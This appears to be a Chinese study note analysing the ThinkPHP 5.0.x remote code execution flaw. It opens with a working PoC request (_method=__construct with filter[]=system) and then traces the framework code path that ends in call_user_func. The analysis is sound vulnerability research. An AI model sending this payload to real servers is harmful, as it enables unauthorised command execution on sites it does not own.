TP5.0.xRCE

Scroll Down

总结一下关于TP5.0.x版本的RCE漏洞,备忘学习

0x01 POC

这里先给出5.0.x各个版本下的通杀POC,根据POC来理解相关的原理

xxx/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

0x02 POC分析1

这里以TP5.0.22版本为例进行分析。

这里先贴一个完整的RCE链流程

thinkphp\library\think\App.php:run()
    - self::routeCheck()
        - Route::check()
            - $request->method():thinkphp\library\think\Request.php:__construct() //调用Request类任意方法
   			- self::checkRoute() //这一步自动调用设置$dispatch为method

    - self::exec() 
		- Request::instance()->param()
		- $this->input()
			- $this->getFilter()
            - array_walk_recursive()
            	- filterValue():call_user_func()

起始点:App.php\run()

首先我们需要找到TP程序的开始流程

index.php -> start.php -> APP::run()

因此在我们先从thinkphp\library\think\App.php的run方法开始

<?php
/**
* 执行应用程序
* @access public
* @param  Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
    $request = is_null($request) ? Request::instance() : $request;

    try {
        ...
        // 获取应用调度信息
        $dispatch = self::$dispatch;

        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {
            $dispatch = self::routeCheck($request, $config);
        }
        ...

        $data = self::exec($dispatch, $config);
    } catch (HttpResponseException $exception) {
        ...
    }
    ...
}

在App.php中,思路是这样self::routeCheck() --> self::exec() 。run()方法会根据URL调用routeCheck进行调度解析获得$dispatch,之后将进入到self::exec()根据$dispatch类型的不同来进行处理,这是一个整体的流程。具体的细节还要分别跟进self::routeCheck()self::exec()

注意到我们的payload中?s=captcha。在vendor\topthink\think-captcha\src\helper.php中注册了captcha路由,这里跟踪一下

vendor\topthink\think-captcha\src\helper.php

\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");

因此该captcha路由对应的$dispatchmethod具体原因目前还不太清楚,下面是猜测的流程,埋坑!!

跟进self::routeCheck($request, $config)

self::routeCheck() --> Route::check() --> self::checkRoute()

经过这三个调用后进入到thinkphp\library\think\Route.php的chekRoute()方法:

$result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);
if (false !== $result) {
	return $result; //$result : {"type" => "method"}
}

经过该函数后$result = array("type" => "method"),然后return回到一开始的run方法,并对$dispatch = self::routeCheck($request, $config);,因此$dispatch的值为array("type" => "method")

注意到在上一流程中的Route::check()方法

thinkphp\library\think\Route.php

public static function check($request, $url, $depr = '/', $checkDomain = false)
{
	...
        
    $method = strtolower($request->method()); //$request在run()方法中已实例化为Request类的一个对象
    
    ...   
        
    if (!empty($rules)) {
            return self::checkRoute($request, $rules, $url, $depr);
    }   
    
    ... 
}

我们跟进一下$request->method()方法

thinkphp\library\think\Request.php

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST); //注意这里
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

在tp默认中设置了表单请求类型伪装变量如下:

image-20201203155857137

因此我们只需要post中设置_method,即可进入if (isset($_POST[Config::get('var_method')]))条件,注意到$this->{$this->method}($_POST);,这里的变量$this->method变量是可控的,因此我们可以通过_method传入参数实现该类任意方法的调用,这里我们调用该类的构造方法_method=__construct,相当于$this->construct($_POST)

跟进该类的构造方法:

thinkphp\library\think\Request.php

protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

由于这是构造方法,利用foreach循环,我们可以通过POST数据来构造任意属性值,对Request类的任意成员变量进行覆盖。其中this->filter保存着全局默认过滤规则。我们进行如下覆盖(具体原因在后面会有解释体现)

$this->method = "get"
$this->get = array("whoami");
$this->filter = array("system");

对应到POC中就是:

filter[]=system&method=get&get[]=whoami

注意我们请求的路由captcha的注册规则是\think\Route::get,因此method()方法结束后,返回的$this->method的值应该为get,$method = strtolower($request->method());,这样在后面的路由检测处理时才不会报错。所以我们在payload中设置method=get

在进行完上述过程后,我们将回到run()方法中,继续到后面执行self::exec($dispatch, $config)会进行到method分支

thinkphp\library\think\App.php

<?php
protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        ...
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        ...
    }
    return $data;
}

进入到method分支跟进Request::instance()->param()

thinkphp\library\think\Request.php

<?php
public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->mergeParam)) {
        $method = $this->method(true);
        ...
    }
    ...
    // 当前请求参数和URL地址中的参数合并
    $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    $this->mergeParam = true;
    ...
    return $this->input($this->param, $name, $default, $filter);
}

$this->param通过array_merge将当前请求参数和URL地址中的参数合并。回忆一下前面已经通过__construct设置了$this->getwhoami。此后$this->param其值被设置为

$this->param = array("whoami");

继续跟进$this->input($this->param, $name, $default, $filter);

<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
    ...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    }
    ...
}

该方法用于对请求中的数据即接收到的参数进行过滤,而过滤器通过$this->getFilter获得,继续跟进

<?php
protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;
    return $filter;
}

注意到前面我们已经设置$this->filtersystem了,所以该函数返回$filter为我们设置的值

回到input()方法,$data为我们传入的$this->param,进入条件后会调用代码执行函数array_walk_recursive($data, [$this, 'filterValue'], $filter),贴一下该函数的用法:

image-20201203162511066

因此我们跟进一下$this->filterValue方法

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);//$filter = "system";$value = "whoami";$key = 0
    ...
}

$value传入的是"whoami"(具体原因看array_walk_recursive函数解析),$filter为传入的$filters的键值,也就是system

最后完成call_user_func函数调用,完成RCE